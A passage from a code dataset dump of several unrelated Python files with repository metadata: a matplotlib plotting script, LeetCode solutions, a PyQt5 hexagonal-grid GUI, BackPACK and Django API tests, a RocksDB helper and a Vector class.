s=(np.log(np.array(Rad[Obs]))-np.log(np.array(RadMin))+0.5)**3.,\n facecolors='none', edgecolors='black',\n alpha=0.5)\n if any(Sim):\n plt.scatter(SurfDens[Sim], VDisp[Sim], marker=markers[1],\n s=(np.log(np.array(Rad[Sim]))-np.log(np.array(RadMin))+0.5)**3.,\n facecolors='none', edgecolors='black',\n alpha=0.5)\n plt.xlabel('$\\Sigma$ [M$_{\\odot}$ pc$^{-2}$]', fontsize=16)\n plt.ylabel('$\\sigma$ [km s$^{-1}$]', fontsize=16)\n\n ax = plt.gca()\n box = ax.get_position()\n ax.set_position([box.x0, box.y0, box.width * 0.8, box.height])\n\n # Put a legend to the right of the current axis\n ax.legend(UniqueAuthor, loc='center left', bbox_to_anchor=(1.0, 0.5), prop={'size':12}, markerscale = .7, scatterpoints = 1)\n\n plt.xlim((SurfMin.to(u.M_sun/u.pc**2).value,SurfMax.to(u.M_sun/u.pc**2).value))\n plt.ylim((VDispMin.to(u.km/u.s).value,VDispMax.to(u.km/u.s).value))\n plt.show()\n plt.savefig(FigureStrBase+NQuery+'.png',bbox_inches='tight',dpi=150)\n plt.savefig(FigureStrBase+NQuery+'.pdf',bbox_inches='tight',dpi=150)\n \ndef clearPlotOutput(FigureStrBase,TooOld) :\n \n for fl in glob.glob(FigureStrBase+\"*.png\") + glob.glob(FigureStrBase+\"*.pdf\"):\n now = time.time()\n if os.stat(fl).st_mtime < now - TooOld :\n os.remove(fl)\n \ndef timeString() :\n \n TimeString=datetime.datetime.now().strftime(\"%Y%m%d%H%M%S%f\")\n return TimeString\n\nSurfMin = 1e-1*u.M_sun/u.pc**2\nSurfMax = 1e5*u.M_sun/u.pc**2\nVDispMin = 1e-1*u.km/u.s\nVDispMax = 3e2*u.km/u.s\nRadMin = 1e-2*u.pc\nRadMax = 1e3*u.pc\n\nNQuery=timeString()\nFigureStrBase='Output_Sigma_sigma_r_'\nTooOld=300\n\nclearPlotOutput(FigureStrBase,TooOld)\n\nplotData(NQuery,FigureStrBase,SurfMin,SurfMax,VDispMin,VDispMax,RadMin,RadMax)\n\n#d.show_in_browser(jsviewer=True)\n\n\n","repo_name":"dinosk/flask_project","sub_path":"simple_plot.py","file_name":"simple_plot.py","file_ext":"py","file_size_in_byte":4161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"4701110355","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\n给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标。\n你可以假设每种输入只会对应一个答案。但是,你不能重复利用这个数组中同样的元素。\n示例:\n给定 nums = [2, 7, 11, 15], target = 9\n因为 nums[0] + nums[1] = 2 + 7 = 9\n所以返回 [0, 1]\n\"\"\"\n\n\nclass Solution:\n def two_sum(self, nums: list, target: int) -> list:\n big = []\n small = []\n negative = []\n for i in nums:\n if i <= 0:\n negative.append(i)\n elif i < target:\n small.append(i)\n else:\n big.append(i)\n for i in negative:\n for j in big:\n if i + j == target:\n return [i, j]\n for idx, i in enumerate(small[: len(small) - 1]):\n for j in small[idx + 1 :]:\n if i + j == target:\n return [i, j]\n\n\nclass Solution2:\n def two_sum(self, nums: list, target: int) -> list:\n # nums = sorted(nums)\n for idx, i in enumerate(nums[: len(nums) - 1]):\n for jdx, j in enumerate(nums[idx + 1 :]):\n if i + j == target:\n return [idx, idx + 1 + jdx]\n\n\nclass Solution3:\n def two_sum(self, nums: list, target: int) -> list:\n nums_hash = {}\n for i, val in enumerate(nums):\n if (target - val) in nums_hash:\n return [nums_hash[target - val], i]\n nums_hash[val] = i\n\n\ndef test():\n solution = Solution3()\n assert solution.two_sum([3, 3], 6) == [0, 1]\n\n\ndef main():\n solution = Solution3()\n print(solution.two_sum([3, 3], 6))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"seven-linglx/algorithm","sub_path":"leetcode/two_sum.py","file_name":"two_sum.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"18428632278","text":"from csv import writer\nimport re\nimport os\n\nimport hexutil\n\nfrom .grid import Grid\nfrom pathlib import Path\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Model(QtWidgets.QMainWindow):\n \"\"\"Represents the GUI with the hexagonal grid and an options menu.\n\n The GUI contains two major elements: the grid as a QGraphicsView\n and the options menu as a dock widget. The user can zoom in on or\n out of the grid which changes the maximum window boundaries which\n is accounted for by scroll bars with dynamic maxima. The dock widget\n with options include interactive options such as creating, loading,\n saving, or deleting runs.\n\n Attributes:\n |scene: QGraphicsScene\n |view: QGraphicsView\n |grid: Grid\n |menu_bar: QMenuBar\n |run_list: QListWidget\n |load_from_file_button: QPushButton\n |save_to_file_button: QPushButton\n |selection_label: QLabel\n |run_name_edit: QLineEdit\n |save_run_button: QPushButton\n |delete_run_button: QPushButton\n |create_run_button: QPushButton\n\n Methods:\n |import_ribbons(action): activates the loading of the ribbons of\n | the selected file from the menu.\n |load_run_from_file(): loads a run or multiple runs from a csv file\n | or multiple csv files.\n |save_run_to_file(): saves the selected run to a csv file.\n |update_run_list(Run): updates the list with runs by removing,\n | updating or adding runs.\n |update_run_buttons(Bool): shows or hides the 'save run' and\n | 'delete run' buttons based on the run creation state.\n |update_selection(Hex): updates the GUI options when a hexagon is\n | (de)selected.\n |keyPressEvent(event): handles key presses for functions such as\n | toggling FOV on and off.\n |resizeEvent(event): instructs to update grid's dimensions when\n | resized.\n |window_change(): changes the grid's visible window's dimensions.\n |zoom_in(): zooms in if allowed by adjusting the resolution of the\n | hexagons.\n |zoom_out(): zooms out if allowed by adjusting the resolution of the\n | hexagons.\n |set_scroll_area(): sets the maxima of the scrollbars to the maximum\n | size of the grid.\n |set_view_to_center(Hex): sets the center of the view to the hexagon.\n \"\"\"\n factor = 2\n\n def __init__(self, parent=None):\n super(Model, self).__init__(parent)\n self.resize(800, 600)\n self.setWindowTitle(\"Grid-Based Movement Model\")\n\n self.scene = QtWidgets.QGraphicsScene(self)\n self.view = QtWidgets.QGraphicsView(self.scene)\n\n # Creates the grid that visualises all the hexagons by painting.\n self.grid = Grid()\n\n self.scene.addWidget(self.grid)\n self.setCentralWidget(self.view)\n\n # Connects scroll movements to update visible window of grid.\n self.view.verticalScrollBar().valueChanged.connect(self.window_change)\n self.view.horizontalScrollBar().valueChanged.connect(self.window_change)\n\n # Connects a keybind to the zoom in method.\n self.zoom_in_shortcut = QtWidgets.QShortcut(\n QtGui.QKeySequence('Ctrl++'), self)\n self.zoom_in_shortcut.activated.connect(self.zoom_in)\n\n # Connects a keybind to the zoom out method.\n self.zoom_out_shortcut = QtWidgets.QShortcut(\n QtGui.QKeySequence('Ctrl+-'), self)\n self.zoom_out_shortcut.activated.connect(self.zoom_out)\n\n # Creates a menu top left.\n menu_bar = self.menuBar()\n file_menu = menu_bar.addMenu('File')\n\n # Adds a import function to the menu to import tree locations.\n import_menu = QtWidgets.QMenu('Import', self)\n sorted_dir = sorted(os.scandir(\"data/tree_locations\"),\n key=lambda e: e.name)\n for entry in sorted_dir:\n # Retrieves file name without path and extensions.\n file_name = Path(entry.path).stem\n import_menu.addAction(f\"{file_name}\")\n import_menu.triggered.connect(self.import_ribbons)\n file_menu.addMenu(import_menu)\n\n # Creates the dock widget on the right-hand side of the screen.\n self.dock_widget = QtWidgets.QDockWidget(\"No trees loaded.\", self)\n self.dock_widget.setFeatures(QtWidgets.QDockWidget.NoDockWidgetFeatures)\n self.dock_widget.setFixedWidth(200)\n\n # Creates the widget with the list with options such as saving a run.\n multi_widget = QtWidgets.QWidget()\n layout = QtWidgets.QVBoxLayout()\n\n # Creates a list that shows all runs in the current session.\n run_list_box = QtWidgets.QVBoxLayout()\n self.run_list = QtWidgets.QListWidget()\n self.run_list.setMaximumHeight(300)\n self.run_list.itemClicked.connect(self.grid.load_run)\n self.grid.run_list_update.connect(self.update_run_list)\n run_list_box.addWidget(self.run_list)\n\n # Creates a button that loads a run from a file.\n self.load_from_file_button = QtWidgets.QPushButton(\n \"Load Run(s) from File(s)\", self)\n self.load_from_file_button.clicked.connect(self.load_run_from_file)\n run_list_box.addWidget(self.load_from_file_button)\n\n # Creates a button that writes the run hexagons to a csv file.\n self.save_to_file_button = QtWidgets.QPushButton(\n \"Save Run to File\", self)\n self.save_to_file_button.clicked.connect(self.save_run_to_file)\n self.save_to_file_button.clicked.connect(self.grid.save_current_run)\n self.save_to_file_button.clicked.connect(self.run_list.clearSelection)\n self.save_to_file_button.hide()\n self.run_list.itemClicked.connect(self.save_to_file_button.show)\n run_list_box.addWidget(self.save_to_file_button)\n\n # Creates the dynamic label that showcases the selected hexagon.\n self.selection_label = QtWidgets.QLabel(\"Selected hexagon:\\n\", self)\n self.selection_label.setAlignment(QtCore.Qt.AlignCenter)\n self.grid.selected.connect(self.update_selection)\n\n # Creates a line edit where user can enter a name for the run.\n self.run_name_edit = QtWidgets.QLineEdit(\"\", self)\n self.run_name_edit.setPlaceholderText(\"Add a Name\")\n self.run_name_edit.hide()\n\n # Creates the button that saves the current run.\n self.save_run_button = QtWidgets.QPushButton(\"Save Run\", self)\n self.save_run_button.setStyleSheet(\"background-color : green\")\n self.save_run_button.clicked.connect(lambda: self.grid.save_current_run(\n self.run_name_edit.text()))\n self.save_run_button.clicked.connect(self.run_list.clearSelection)\n self.save_run_button.clicked.connect(self.save_to_file_button.hide)\n self.save_run_button.hide()\n\n # Creates the button that deletes the current run.\n self.delete_run_button = QtWidgets.QPushButton(\"Delete Run\", self)\n self.delete_run_button.setStyleSheet(\"background-color : red\")\n self.delete_run_button.clicked.connect(self.grid.delete_current_run)\n self.delete_run_button.clicked.connect(self.run_list.clearSelection)\n self.delete_run_button.clicked.connect(self.save_to_file_button.hide)\n self.delete_run_button.hide()\n\n # Creates the button that creates a run.\n self.create_run_button = QtWidgets.QPushButton(\"Create Run\", self)\n self.create_run_button.clicked.connect(self.grid.create_run)\n self.create_run_button.setEnabled(False)\n self.grid.run_creation.connect(self.update_run_buttons)\n\n # Adds all the buttons and texts to the layout of the dock widget.\n layout.addLayout(run_list_box)\n layout.addWidget(self.selection_label)\n layout.addWidget(self.run_name_edit)\n layout.addWidget(self.save_run_button)\n layout.addWidget(self.delete_run_button)\n layout.addWidget(self.create_run_button)\n multi_widget.setLayout(layout)\n self.dock_widget.setWidget(multi_widget)\n self.addDockWidget(QtCore.Qt.RightDockWidgetArea, self.dock_widget)\n\n @QtCore.pyqtSlot(QtWidgets.QAction)\n def import_ribbons(self, action):\n \"\"\"Activates the loading of the ribbons of the selected file.\"\"\"\n file_name = action.text()\n self.dock_widget.setWindowTitle(f\"{file_name}\")\n self.grid.map.load_ribbons(f\"data/tree_locations/{file_name}.csv\")\n self.grid.repaint()\n\n def load_run_from_file(self):\n \"\"\"Loads a run or multiple runs from a file or multiple csv files.\"\"\"\n files, _ = QtWidgets.QFileDialog.getOpenFileNames(self,\n \"Load Run(s) from File(s)\", \"data/runs\",\"CSV Files (*.csv)\")\n\n for file in files:\n with open(file, 'r') as file:\n next(file)\n hexagons = []\n for line in file:\n # Stops when the footer has been reached.\n if not line[0].isnumeric():\n break\n\n # Retrieves the hex coords from the file.\n values = line.split(\",\")\n hex_x = int(values[0])\n hex_y = int(values[1])\n\n hex = self.grid.map.tiles[(hex_x, hex_y)]\n hexagons.append(hex)\n\n # Retrieves file name without path and extensions.\n file_name = Path(file.name).stem\n\n self.grid.create_run(file_name, hexagons)\n\n def save_run_to_file(self):\n \"\"\"Saves the selected run to a csv file.\"\"\"\n selected_run = self.run_list.selectedItems()[0].text()\n selected_run_id = int(selected_run.partition(\":\")[0])\n run_to_be_saved = self.grid.runs[selected_run_id]\n optimal_run = self.grid.optimal_runs[selected_run_id]\n\n file_name, _ = QtWidgets.QFileDialog.getSaveFileName(\n self, \"Save Run to File\", f\"data/runs/{run_to_be_saved.name}\",\n \"CSV files (*.csv)\")\n\n if not file_name:\n self.save_to_file_button.hide()\n return False\n\n # Removes .csv from the end of file name if necessary.\n file_name = re.sub(r\".csv$\", \"\", file_name)\n\n with open(f\"{file_name}.csv\", \"w\", newline='') as file:\n csv_writer = writer(file)\n\n # Writes the header.\n csv_writer.writerow([\"x\", \"y\",\n \"lat\", \"long\",\n \"ribbon seen\", \"ribbon collected\",\n \"x\", \"y\",\n \"lat\", \"long\",\n \"ribbon seen\", \"ribbon collected\"])\n\n visited_trees = []\n seen_trees = []\n optimal_visited_trees = []\n optimal_seen_trees = []\n for idx, hex in enumerate(run_to_be_saved.get_hexagons()):\n # Values of the run.\n hex_gps_coords = self.grid.map.get_gps_coords(hex)\n hex_x = hex.x\n hex_y = hex.y\n hex_lat = hex_gps_coords[0]\n hex_long = hex_gps_coords[1]\n ribbon_seen = \"\"\n ribbon_collected = \"\"\n\n # Onlydds tree number if not seen before.\n visible_trees = self.grid.update_fov(hex)\n for tree in visible_trees:\n if tree not in seen_trees:\n ribbon_seen += f\"{tree} \"\n seen_trees.append(tree)\n\n # Only writes tree number if ribbon has not been collected before.\n tree_number = self.grid.map.get_tree_number(hex)\n if tree_number:\n if tree_number not in visited_trees:\n ribbon_collected = tree_number\n visited_trees.append(tree_number)\n\n if idx < len(optimal_run.get_hexagons()):\n # Values of the optimal run.\n optimal_hex = optimal_run.get_hexagons()[idx]\n optimal_hex_gps_coords = self.grid.map.get_gps_coords(optimal_hex)\n optimal_hex_x = optimal_hex.x\n optimal_hex_y = optimal_hex.y\n optimal_hex_lat = optimal_hex_gps_coords[0]\n optimal_hex_long = optimal_hex_gps_coords[1]\n optimal_ribbon_seen = \"\"\n optimal_ribbon_collected = \"\"\n\n # Adds tree number if not seen before.\n visible_trees = self.grid.update_fov(optimal_hex)\n for tree in visible_trees:\n if tree not in optimal_seen_trees:\n optimal_ribbon_seen += f\"{tree} \"\n optimal_seen_trees.append(tree)\n\n # Only writes tree number if ribbon has not been collected before.\n tree_number = self.grid.map.get_tree_number(optimal_hex)\n if tree_number:\n if tree_number not in optimal_visited_trees:\n optimal_ribbon_collected = tree_number\n optimal_visited_trees.append(tree_number)\n\n # Prints progress.\n print(f\"{idx/len(run_to_be_saved.get_hexagons()) * 100}%\")\n\n else:\n optimal_hex_x = \"\"\n optimal_hex_y = \"\"\n optimal_hex_lat = \"\"\n optimal_hex_long = \"\"\n optimal_ribbon_seen = \"\"\n optimal_ribbon_collected = \"\"\n\n csv_writer.writerow([hex_x, hex_y,\n hex_lat, hex_long,\n ribbon_seen, ribbon_collected,\n optimal_hex_x, optimal_hex_y,\n optimal_hex_lat, optimal_hex_long,\n optimal_ribbon_seen, optimal_ribbon_collected])\n\n # Adds a footer with the total length of the run.\n csv_writer.writerow(\n [\"length\", (len(run_to_be_saved.get_hexagons()) - 1) * self.grid.map.hex_width,\n \"\", \"\", \"\", \"\",\n \"optimal length\", (len(optimal_run.get_hexagons()) - 1) * self.grid.map.hex_width])\n\n print(\"DONE\")\n\n self.save_to_file_button.hide()\n\n @QtCore.pyqtSlot(object)\n def update_run_list(self, run):\n \"\"\"Updates the list with runs by removing, updating or adding runs.\"\"\"\n # Checks if the run is already in the list.\n matched_run = self.run_list.findItems(f\"{abs(run.run_id)}\",\n QtCore.Qt.MatchStartsWith)\n\n # Removes, updates or adds the run entry.\n if run.run_id < 0 and matched_run:\n idx = self.run_list.indexFromItem(matched_run[0])\n self.run_list.takeItem(idx.row())\n elif matched_run:\n matched_run[0].setText(f\"{run.run_id}: {run.name}, {len(run.hexagons) - 1} m\")\n elif run.run_id > 0:\n list_name = f\"{run.run_id}: {run.name}, {len(run.hexagons) - 1} m\"\n self.run_list.addItem(list_name)\n\n @QtCore.pyqtSlot(bool)\n def update_run_buttons(self, run_creation):\n \"\"\"Shows or hides the 'save run' and 'delete run' buttons.\"\"\"\n if run_creation:\n self.create_run_button.setEnabled(False)\n run = self.grid.runs[self.grid.current_run_id]\n self.run_name_edit.setText(f\"{run.name}\")\n self.run_name_edit.show()\n self.save_run_button.show()\n self.delete_run_button.show()\n else:\n self.create_run_button.setEnabled(True)\n self.run_name_edit.hide()\n self.run_name_edit.clear()\n self.save_run_button.hide()\n self.delete_run_button.hide()\n\n @QtCore.pyqtSlot(object)\n def update_selection(self, hexagon):\n \"\"\"Updates the GUI options when a hexagon is (de)selected.\"\"\"\n # Displays the tree number if the hexagon contains a ribbon.\n tree = self.grid.map.get_tree_number(hexagon)\n if not tree:\n tree = \"\"\n\n if hexagon:\n self.selection_label.setText(\n f\"Selected hexagon:\\nx={hexagon.x}, y={hexagon.y}\\n{tree}\")\n\n # Adds or removes the hexagon if a run is being created.\n if self.grid.run_creation_mode:\n self.grid.modify_current_run(hexagon)\n else:\n self.create_run_button.setEnabled(True)\n else:\n self.selection_label.setText(f\"Selected hexagon:\\n\")\n self.create_run_button.setEnabled(False)\n\n def keyPressEvent(self, event):\n \"\"\"Handles key presses for functions such as toggling FOV.\"\"\"\n # Toggles fov if 'F' key is pressed.\n if event.key() == 70:\n if self.grid.toggle_fov:\n self.grid.toggle_fov = False\n else:\n self.grid.toggle_fov = True\n\n def resizeEvent(self, event):\n \"\"\"Instructs to update dimensions when window is resized.\"\"\"\n QtWidgets.QMainWindow.resizeEvent(self, event)\n self.window_change()\n self.set_scroll_area()\n\n def window_change(self):\n \"\"\"Changes the visible window's dimensions.\"\"\"\n min_hor = self.view.horizontalScrollBar().value()\n min_ver = self.view.verticalScrollBar().value()\n\n view_rect = self.view.rect()\n left_side = min_hor\n bottom_side = min_ver\n\n self.grid.adjust_window(left_side,\n bottom_side,\n view_rect.width(),\n view_rect.height())\n\n def zoom_in(self):\n \"\"\"If allowed, zooms in by adjusting the pixel hex res.\"\"\"\n center_hex = self.grid.hexagon_at_center()\n\n # Only zooms in if allowed.\n if not self.grid.adjust_res(Model.factor):\n return False\n\n self.grid.update_size()\n self.set_scroll_area()\n self.set_view_to_center(center_hex)\n\n def zoom_out(self):\n \"\"\"If allowed, zooms out by adjusting the pixel hex res.\"\"\"\n center_hex = self.grid.hexagon_at_center()\n\n # Only zooms out if allowed.\n if not self.grid.adjust_res(-Model.factor):\n return False\n\n self.grid.update_size()\n self.set_scroll_area()\n self.set_view_to_center(center_hex)\n\n def set_scroll_area(self):\n \"\"\"Sets the maximum scrollable area of the view.\"\"\"\n max_size = self.grid.maximum_size\n self.view.horizontalScrollBar().setMaximum(\n max_size[0] - self.view.rect().width())\n self.view.verticalScrollBar().setMaximum(\n max_size[1] - self.view.rect().height())\n\n def set_view_to_center(self, hexagon):\n \"\"\"Sets the center of the view to the given hexagon.\"\"\"\n center = self.grid.hexgrid.center(hexagon)\n self.view.centerOn(center[0], center[1])\n","repo_name":"JorisOud/bachelor_project","sub_path":"code/visualisation/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":18880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72140561825","text":"\"\"\"Test BackPACK's KFRA extension.\"\"\"\n\nfrom test.automated_test import check_sizes_and_values\nfrom test.extensions.implementation.autograd import AutogradExtensions\nfrom test.extensions.implementation.backpack import BackpackExtensions\nfrom test.extensions.problem import ExtensionsTestProblem, make_test_problems\nfrom test.extensions.secondorder.hbp.kfra_settings import (\n BATCH_SIZE_1_SETTINGS,\n NOT_SUPPORTED_SETTINGS,\n)\nfrom test.utils.skip_extension_test import skip_BCEWithLogitsLoss\n\nimport pytest\n\nNOT_SUPPORTED_PROBLEMS = make_test_problems(NOT_SUPPORTED_SETTINGS)\nNOT_SUPPORTED_IDS = [problem.make_id() for problem in NOT_SUPPORTED_PROBLEMS]\nBATCH_SIZE_1_PROBLEMS = make_test_problems(BATCH_SIZE_1_SETTINGS)\nBATCH_SIZE_1_IDS = [problem.make_id() for problem in BATCH_SIZE_1_PROBLEMS]\n\n\n@pytest.mark.parametrize(\"problem\", NOT_SUPPORTED_PROBLEMS, ids=NOT_SUPPORTED_IDS)\ndef test_kfra_not_supported(problem: ExtensionsTestProblem):\n \"\"\"Check that the KFRA extension does not allow specific hyperparameters/modules.\n\n Args:\n problem: Test case.\n \"\"\"\n problem.set_up()\n\n with pytest.raises(NotImplementedError):\n BackpackExtensions(problem).kfra()\n\n problem.tear_down()\n\n\n@pytest.mark.parametrize(\"problem\", BATCH_SIZE_1_PROBLEMS, ids=BATCH_SIZE_1_IDS)\ndef test_kfra_equals_ggn(problem: ExtensionsTestProblem):\n \"\"\"Check that for batch_size = 1 and linear layers, KFRA is the GGN block.\n\n Args:\n problem: Test case.\n \"\"\"\n problem.set_up()\n skip_BCEWithLogitsLoss(problem)\n\n autograd_res = AutogradExtensions(problem).ggn_blocks()\n backpack_res = BackpackExtensions(problem).kfra_as_mat()\n\n check_sizes_and_values(autograd_res, backpack_res, atol=1e-7, rtol=1e-5)\n\n problem.tear_down()\n","repo_name":"f-dangel/backpack","sub_path":"test/extensions/secondorder/hbp/test_kfra.py","file_name":"test_kfra.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":511,"dataset":"github-code","pt":"70"} +{"seq_id":"12789975326","text":"def lengthOfLongestSubstring(s):\n start = 0\n end = 0\n max_length = 1\n result = []\n j = 0\n while j < len(s):\n if s[j] not in result:\n result.append(s[j])\n max_length = max(max_length, len(result))\n j += 1\n else:\n result.pop(0)\n return max_length\n\nprint(lengthOfLongestSubstring(\"bbbbbbbbbbb\"))\n\n\n\n \n","repo_name":"ram5353/PythonLearner","sub_path":"python-leetcode-problems/Random Problems/LongestSubStringWithoutRepeatingCharacters.py","file_name":"LongestSubStringWithoutRepeatingCharacters.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"70257338466","text":"\"\"\"\nHelper for creating rocksdb entity/class/prop databases.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport struct\nfrom functools import partial\nfrom pathlib import Path\nfrom typing import Callable, Generic, TypeVar\n\nimport orjson\nimport serde.json\nfrom hugedict.prelude import RocksDBCompressionOptions, RocksDBDict, RocksDBOptions\nfrom hugedict.types import HugeMutableMapping\n\nT = TypeVar(\"T\")\n\n\nsmall_dbopts = dict(\n compression_type=\"lz4\",\n)\nmedium_dbopts = dict(\n compression_type=\"lz4\",\n bottommost_compression_type=\"zstd\",\n)\nlarge_dbopts = dict(\n compression_type=\"zstd\",\n compression_opts=RocksDBCompressionOptions(\n window_bits=-14, level=6, strategy=0, max_dict_bytes=16 * 1024\n ),\n zstd_max_train_bytes=100 * 16 * 1024,\n)\n\n\nclass make_get_rocksdb(Generic[T]):\n def __init__(\n self,\n *,\n ser_value: Callable[[T], bytes],\n deser_value: Callable[[bytes], T],\n version: str | int = 1,\n dbopts: dict | None = None,\n ):\n self.ser_value = ser_value\n self.deser_value = deser_value\n self.version = version\n self.dbopts = dbopts\n\n def __call__(\n self,\n dbfile: Path | str,\n *,\n cls: type[RocksDBDict] = RocksDBDict,\n create_if_missing: bool = True,\n read_only: bool = False,\n ) -> HugeMutableMapping[str, T]:\n version_file = Path(dbfile) / \"_VERSION\"\n if version_file.exists():\n obj = serde.json.deser(version_file)\n assert obj[\"version\"] == self.version, obj\n else:\n version_file.parent.mkdir(parents=True, exist_ok=True)\n serde.json.ser(\n {\n \"version\": self.version,\n \"opts\": {\n k: v if isinstance(v, (str, int)) else v.to_dict()\n for k, v in self.dbopts.items()\n }\n if self.dbopts is not None\n else None,\n },\n version_file,\n )\n\n rocksdbopts = RocksDBOptions(**self.dbopts, create_if_missing=create_if_missing) # type: ignore\n return cls(\n path=str(dbfile),\n options=rocksdbopts,\n readonly=read_only,\n deser_key=partial(str, encoding=\"utf-8\"),\n deser_value=self.deser_value,\n ser_value=self.ser_value,\n )\n\n\ndef get_rocksdb(\n dbfile: Path | str,\n *,\n ser_value: Callable[[T], bytes],\n deser_value: Callable[[bytes], T],\n cls: type[RocksDBDict] = RocksDBDict,\n create_if_missing: bool = True,\n read_only: bool = False,\n dbopts: dict | None = None,\n version: str | int = 1,\n) -> HugeMutableMapping[str, T]:\n return make_get_rocksdb(\n ser_value=ser_value, deser_value=deser_value, dbopts=dbopts, version=version\n )(\n dbfile,\n cls=cls,\n create_if_missing=create_if_missing,\n read_only=read_only,\n )\n\n\ndef deser_from_dict(cls: type[T], data: bytes | str) -> T:\n return cls.from_dict(orjson.loads(data)) # type: ignore\n\n\ndef ser_to_dict(value: T) -> bytes: # type: ignore\n return orjson.dumps(value.to_dict()) # type: ignore\n\n\ndef ser_to_tuple(value: T) -> bytes: # type: ignore\n return orjson.dumps(value.to_tuple()) # type: ignore\n\n\ndef pack_int(v: int) -> bytes:\n return struct.pack(\" int:\n return struct.unpack(\" bytes:\n return struct.pack(\" float:\n return struct.unpack(\" 1st item => email data\n self.assertEqual(response.json()['email'], email)\n\n # api/v1/users/1/contact/email/11112\n response = self.client.get(reverse('email', kwargs={'id': 1,\n 'pk': 11112}))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n # api/v1/users/12/contact/email/1\n response = self.client.get(reverse('email', kwargs={'id': 12,\n 'pk': 1}))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n\nclass TestDetailedPhoneNumberContactView(BaseAPITest):\n def setUp(self):\n super(TestDetailedPhoneNumberContactView, self).setUp()\n\n def test_detailed_contact_phone_number(self):\n # api/v1/users/1/contact/phone-number/1\n response = self.client.get(reverse('number', kwargs={'id': 1,\n 'pk': 1}),\n headers={\"Accept\": \"application/json\"})\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n user = User.objects.get(id=1)\n phone_number = user.phonenumbers.all()[0].number\n self.assertEqual(response.json()['number'], phone_number)\n\n # api/v1/users/1/contact/phone-number/11112\n response = self.client.get(reverse('number', kwargs={'id': 1,\n 'pk': 11112}))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n # api/v1/users/12/contact/phone-number/1\n response = self.client.get(reverse('number', kwargs={'id': 12,\n 'pk': 1}))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n","repo_name":"recepsirin/user-service","sub_path":"users/api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":10571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"72036970786","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 1 10:56:07 2018\n\n@author: Yuvaraja Manikandan G\n\"\"\"\nimport math\nfrom decimal import Decimal, getcontext\n\ngetcontext().prec = 30\n\nclass Vector(object):\n def __init__(self, coordinates):\n try:\n if not coordinates:\n return ValueError\n self.coordinates = tuple([Decimal(x) for x in coordinates])\n #self.coordinates = tuple(coordinates)\n self.dimension = len(coordinates)\n except ValueError:\n raise ValueError('The coordinates must be nonempty')\n except TypeError:\n raise TypeError('The coordinates must be an iterable')\n \n def __str__(self):\n return 'Vector: {}'.format(self.coordinates)\n \n def __eq__(self, rhs):\n return self.coordinates == rhs.coordinates\n \n def __add__(self, rhs):\n return Vector(tuple(sum(x) for x in zip(self.coordinates, rhs.coordinates)))\n \n def __sub__(self, rhs):\n return Vector(tuple(x-y for x, y in zip(self.coordinates, rhs.coordinates)))\n \n def time_scalar(self, rhs):\n return Vector(tuple(Decimal(rhs) * x for x in self.coordinates))\n #if isinstance(rhs, Vector):\n # return tuple(x * y for x,y in zip(self.coordinates, rhs.coordinates))\n \n def magnitude(self):\n _sum = sum([x*x for x in self.coordinates])\n return Decimal(math.sqrt(_sum))\n \n def normalized(self): # Normaliation of the vector - Finding the unit of the vector\n try:\n _magnitude = self.magnitude()\n if _magnitude == 0:\n return _magnitude # to avoid 'divide by zero' error\n return self.time_scalar(Decimal('1.0')/_magnitude)\n except ZeroDivisionError:\n raise Exception(self.CANNOT_NORMALIZE_ZERO_VECTOR_MSG)\n \n def iszero(self, tolerance=1e-10):\n for i in range(self.dimension):\n if self.coordinates[i] != 0:\n return False\n return True\n #return self.magnitude() < tolerance\n \n def dotproduct(self, rhs):\n return sum([x*y for x,y in zip(self.coordinates, rhs.coordinates)])\n \n def angle(self, rhs, in_degrees=False):\n try:\n u1 = self.normalized()\n u2 = rhs.normalized()\n _dotproduct = u1.dotproduct(u2)\n _magnituredProduct = u1.magnitude() * u2.magnitude()\n '''\n if not self.iszero() and not rhs.iszero() and _dotproduct == 0:\n # Teta is 0\n # 90 degree\n return math.cos(math.radians(90))\n if _dotproduct == _magnituredProduct:\n # Teta is 1\n # 0 degree\n return math.cos(math.radians(0))\n if _dotproduct == (-1 * _magnituredProduct):\n # Teta is -1\n # 180 degree\n return math.cos(math.radians(180))\n '''\n angle_in_radians = math.acos(_dotproduct/_magnituredProduct)\n #angle_in_radians = math.acos(_dotproduct)\n \n if in_degrees:\n degrees_per_radian = 180.0 / math.pi\n return angle_in_radians * degrees_per_radian\n else:\n return angle_in_radians\n except Exception as e:\n if str(e) == self.CANNOT_NORMALIZE_ZERO_VECTOR_MSG:\n raise Exception('Cannot compute an angle with the zero vector')\n else:\n raise e\n \n def isparallel(self, rhs):\n return (\n self.iszero() or\n rhs.iszero() or\n self.angle(rhs) == 0 or\n self.angle(rhs) == math.pi\n )\n #self.magnitude() == rhs.magnitude()\n \n def isorthogonal(self, rhs, tolerance=1e-10):\n return abs(self.dotproduct(rhs)) < tolerance\n\nv1 = Vector([1,2,3])\nv2 = Vector([1,2,3])\nv3 = Vector([-1,2,3])\n\nprint(v1)\nprint(v2)\nprint(v3)\n\nprint(v1 == v2)\nprint(v1 == 